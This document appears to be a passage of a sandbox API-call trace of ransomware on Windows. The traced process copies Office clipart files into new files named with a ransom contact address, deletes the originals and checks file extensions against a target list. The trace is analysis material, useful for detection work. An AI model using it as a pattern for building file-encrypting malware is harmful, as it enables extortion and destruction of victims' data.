	[0202.067] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4844, lpOverlapped=0x0) returned 1
	[0202.079] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4850, lpOverlapped=0x0) returned 1
	[0202.080] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.080] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.080] SetEndOfFile (hFile=0x480) returned 1
	[0202.080] CloseHandle (hObject=0x480) returned 1
	[0202.080] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.081] SetEndOfFile (hFile=0x554) returned 1
	[0202.083] CloseHandle (hObject=0x554) returned 1
	[0202.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1
	[0202.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.085] lstrlenW (lpString=".doc") returned 4
	[0202.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString=".docx") returned 5
	[0202.085] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0202.085] lstrlenW (lpString=".pdf") returned 4
	[0202.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString=".xls") returned 4
	[0202.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.085] lstrlenW (lpString=".xlsx") returned 5
	[0202.085] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0202.085] lstrlenW (lpString=".ppt") returned 4
	[0202.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.085] lstrlenW (lpString=".zip") returned 4
	[0202.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.085] lstrlenW (lpString=".rar") returned 4
	[0202.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString=".bz2") returned 4
	[0202.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString=".7z") returned 3
	[0202.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.085] lstrlenW (lpString=".dbf") returned 4
	[0202.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.085] lstrlenW (lpString=".1cd") returned 4
	[0202.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.086] lstrlenW (lpString=".jpg") returned 4
	[0202.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.086] lstrlenW (lpString=".doc") returned 4
	[0202.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString=".docx") returned 5
	[0202.086] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0202.086] lstrlenW (lpString=".pdf") returned 4
	[0202.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString=".xls") returned 4
	[0202.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.086] lstrlenW (lpString=".xlsx") returned 5
	[0202.086] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0202.086] lstrlenW (lpString=".ppt") returned 4
	[0202.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.086] lstrlenW (lpString=".zip") returned 4
	[0202.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.086] lstrlenW (lpString=".rar") returned 4
	[0202.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString=".bz2") returned 4
	[0202.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.086] lstrlenW (lpString=".7z") returned 3
	[0202.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.087] lstrlenW (lpString=".dbf") returned 4
	[0202.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.087] lstrlenW (lpString=".1cd") returned 4
	[0202.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0202.087] lstrlenW (lpString=".jpg") returned 4
	[0202.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.087] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.087] lstrlenW (lpString="J0152432.WMF") returned 12
	[0202.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.088] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=16492) returned 1
	[0202.088] CloseHandle (hObject=0x554) returned 1
	[0202.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220
	[0202.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.089] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.089] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.090] GetLastError () returned 0x0
	[0202.090] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x406c, lpOverlapped=0x0) returned 1
	[0202.092] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4070, lpOverlapped=0x0) returned 1
	[0202.093] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.093] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.094] SetEndOfFile (hFile=0x480) returned 1
	[0202.094] CloseHandle (hObject=0x480) returned 1
	[0202.094] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.094] SetEndOfFile (hFile=0x554) returned 1
	[0202.097] CloseHandle (hObject=0x554) returned 1
	[0202.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1
	[0202.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.098] lstrlenW (lpString=".doc") returned 4
	[0202.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.098] lstrlenW (lpString=".docx") returned 5
	[0202.098] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0202.098] lstrlenW (lpString=".pdf") returned 4
	[0202.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.098] lstrlenW (lpString=".xls") returned 4
	[0202.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.098] lstrlenW (lpString=".xlsx") returned 5
	[0202.098] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0202.098] lstrlenW (lpString=".ppt") returned 4
	[0202.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.098] lstrlenW (lpString=".zip") returned 4
	[0202.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.098] lstrlenW (lpString=".rar") returned 4
	[0202.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.098] lstrlenW (lpString=".bz2") returned 4
	[0202.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.098] lstrlenW (lpString=".7z") returned 3
	[0202.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString=".dbf") returned 4
	[0202.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString=".1cd") returned 4
	[0202.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString=".jpg") returned 4
	[0202.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString=".doc") returned 4
	[0202.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString=".docx") returned 5
	[0202.099] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0202.099] lstrlenW (lpString=".pdf") returned 4
	[0202.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString=".xls") returned 4
	[0202.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.099] lstrlenW (lpString=".xlsx") returned 5
	[0202.099] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0202.099] lstrlenW (lpString=".ppt") returned 4
	[0202.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.099] lstrlenW (lpString=".zip") returned 4
	[0202.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.099] lstrlenW (lpString=".rar") returned 4
	[0202.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString=".bz2") returned 4
	[0202.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.099] lstrlenW (lpString=".7z") returned 3
	[0202.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.100] lstrlenW (lpString=".dbf") returned 4
	[0202.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.100] lstrlenW (lpString=".1cd") returned 4
	[0202.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0202.100] lstrlenW (lpString=".jpg") returned 4
	[0202.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.100] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.100] lstrlenW (lpString="J0152436.WMF") returned 12
	[0202.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.101] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11340) returned 1
	[0202.101] CloseHandle (hObject=0x554) returned 1
	[0202.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220
	[0202.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.102] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.102] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.103] GetLastError () returned 0x0
	[0202.103] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2c4c, lpOverlapped=0x0) returned 1
	[0202.105] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2c50, lpOverlapped=0x0) returned 1
	[0202.106] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.106] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.106] SetEndOfFile (hFile=0x480) returned 1
	[0202.106] CloseHandle (hObject=0x480) returned 1
	[0202.106] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.106] SetEndOfFile (hFile=0x554) returned 1
	[0202.109] CloseHandle (hObject=0x554) returned 1
	[0202.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1
	[0202.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.111] lstrlenW (lpString=".doc") returned 4
	[0202.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.111] lstrlenW (lpString=".docx") returned 5
	[0202.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.111] lstrlenW (lpString=".pdf") returned 4
	[0202.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.111] lstrlenW (lpString=".xls") returned 4
	[0202.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.111] lstrlenW (lpString=".xlsx") returned 5
	[0202.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.111] lstrlenW (lpString=".ppt") returned 4
	[0202.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.111] lstrlenW (lpString=".zip") returned 4
	[0202.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.111] lstrlenW (lpString=".rar") returned 4
	[0202.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.111] lstrlenW (lpString=".bz2") returned 4
	[0202.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.111] lstrlenW (lpString=".7z") returned 3
	[0202.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.111] lstrlenW (lpString=".dbf") returned 4
	[0202.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString=".1cd") returned 4
	[0202.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString=".jpg") returned 4
	[0202.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString=".doc") returned 4
	[0202.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString=".docx") returned 5
	[0202.112] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.112] lstrlenW (lpString=".pdf") returned 4
	[0202.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString=".xls") returned 4
	[0202.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.112] lstrlenW (lpString=".xlsx") returned 5
	[0202.112] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.112] lstrlenW (lpString=".ppt") returned 4
	[0202.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString=".zip") returned 4
	[0202.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.112] lstrlenW (lpString=".rar") returned 4
	[0202.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString=".bz2") returned 4
	[0202.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.112] lstrlenW (lpString=".7z") returned 3
	[0202.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.112] lstrlenW (lpString=".dbf") returned 4
	[0202.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.113] lstrlenW (lpString=".1cd") returned 4
	[0202.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0202.113] lstrlenW (lpString=".jpg") returned 4
	[0202.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.113] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.113] lstrlenW (lpString="J0152556.WMF") returned 12
	[0202.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.114] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=16432) returned 1
	[0202.114] CloseHandle (hObject=0x554) returned 1
	[0202.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220
	[0202.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.114] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.114] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.115] GetLastError () returned 0x0
